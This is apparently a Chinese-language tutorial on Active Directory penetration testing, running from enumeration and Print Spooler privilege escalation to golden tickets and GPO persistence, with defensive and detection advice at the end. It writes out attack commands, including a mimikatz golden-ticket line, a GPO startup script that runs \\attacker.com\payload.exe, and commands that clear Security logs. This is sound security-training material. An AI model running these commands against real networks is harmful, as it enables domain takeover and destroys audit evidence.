1. 项目背景与核心价值
域渗透测试是企业内网安全评估的关键环节。作为企业网络架构的核心，Active Directory（AD）域环境一旦被攻陷，攻击者往往能获取整个网络的控制权。去年某次企业红队评估中，我们发现超过80%的内网横向移动都利用了域控相关漏洞。掌握域渗透技术，不仅能帮助安全人员识别风险，更能从防御视角理解攻击者思维。
2. 环境搭建与信息收集
2.1 实验环境拓扑
典型的三层域结构：
- 域控制器（DC）：Windows Server 2019（192.168.1.10）
- 成员服务器：Windows Server 2016（192.168.1.20）
- 工作站：Windows 10（192.168.1.30）
注意：所有测试需在授权环境下进行，建议使用VMware搭建隔离环境
2.2 基础信息收集技术
使用PowerShell快速获取域信息：
# 获取域基本信息 Get-ADDomain # 枚举域用户 Get-ADUser -Filter * | Select-Object Name,SamAccountName # 查询域控信息 nltest /dclist:域名实战技巧：
- 使用BloodHound可视化域关系
- 结合LDAP查询获取隐藏信息
- 通过SPN扫描发现服务账户
3. 初始访问与权限提升
3.1 常见入口点突破
- 钓鱼攻击：制作免杀木马
- 漏洞利用：MS17-010永恒之蓝
- 密码喷洒：针对弱口令账户
3.2 本地提权方法对比
| 技术类型 | 适用场景 | 成功率 | 隐蔽性 |
|---|---|---|---|
| 内核漏洞提权 | 未打补丁系统 | 高 | 低 |
| 服务配置滥用 | 错误配置的服务权限 | 中 | 中 |
| 计划任务劫持 | 有写入权限的目录 | 高 | 高 |
实测案例： 通过Print Spooler服务漏洞（CVE-2021-1675）成功将普通用户权限提升至SYSTEM：
python3 CVE-2021-1675.py -u user -p password -d domain -t 192.168.1.104. 横向移动与域控攻陷
4.1 票据传递攻击
黄金票据制作流程：
- 获取krbtgt账户的NTLM哈希
- 使用mimikatz生成票据：
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:hash值 /ptt- 验证访问域控：
dir \\dc.test.com\c$4.2 组策略利用
通过GPO推送后门的步骤：
- 获取域管理员权限
- 创建新的组策略对象
- 添加启动脚本：
<GroupPolicy> <Startup> <Script> <Command>\\attacker.com\payload.exe</Command> </Script> </Startup> </GroupPolicy>- 强制策略更新：
gpupdate /force5. 权限维持与痕迹清理
5.1 隐蔽后门方案
- DCShadow攻击：在域控注册虚假对象
- SID History注入：添加域管理员SID
- 万能密码：修改krbtgt账户密码
5.2 日志清除技术
清除安全日志的三种方式：
- 使用wevtutil：
wevtutil cl Security- 通过mimikatz：
event::clear /log:Security- 直接删除日志文件：
Remove-Item C:\Windows\System32\winevt\Logs\Security.evtx6. 防御检测与加固建议
6.1 关键防御措施
- 启用LSA保护（注册表键值）
- 配置Windows Defender攻击面减少规则
- 实施网络分段隔离域控流量
6.2 检测规则示例
Splunk检测黄金票据的查询语句：
index=wineventlog EventCode=4769 TicketOptions=0x40810000 | stats count by Account_Name,Client_Address | where count > 37. 实战问题排查记录
7.1 Kerberos预认证失败
问题现象：
KDC_ERR_PREAUTH_FAILED解决方案：
- 检查时间同步（域内机器时间差需<5分钟）
- 验证账户锁定状态
- 确认密码策略复杂度要求
7.2 横向移动受阻
可能原因：
- 防火墙阻断445/5985端口
- 主机启用了Credential Guard
- 存在网络访问控制列表（ACL）
绕过方法：
- 使用WebDAV over HTTPS（端口443）
- 配置SSH隧道中转
- 利用WinRM的HTTP传输
8. 工具链与资源推荐
8.1 渗透测试工具包
- 信息收集：ADExplorer、PowerView
- 漏洞利用：Impacket、Mimikatz
- 后渗透：Cobalt Strike、Sliver
8.2 学习资源
- 微软官方AD安全指南
- 《内网安全攻防：渗透测试实战指南》
- Hack The Box中的Active Directory靶机
在最近一次企业评估中，我们发现通过合理配置Windows事件日志订阅，可以实时监控所有域控的关键操作。建议将4688（进程创建）、4624（登录成功）、4672（特权分配）等事件纳入集中分析平台，配合SIEM实现异常行为检测。
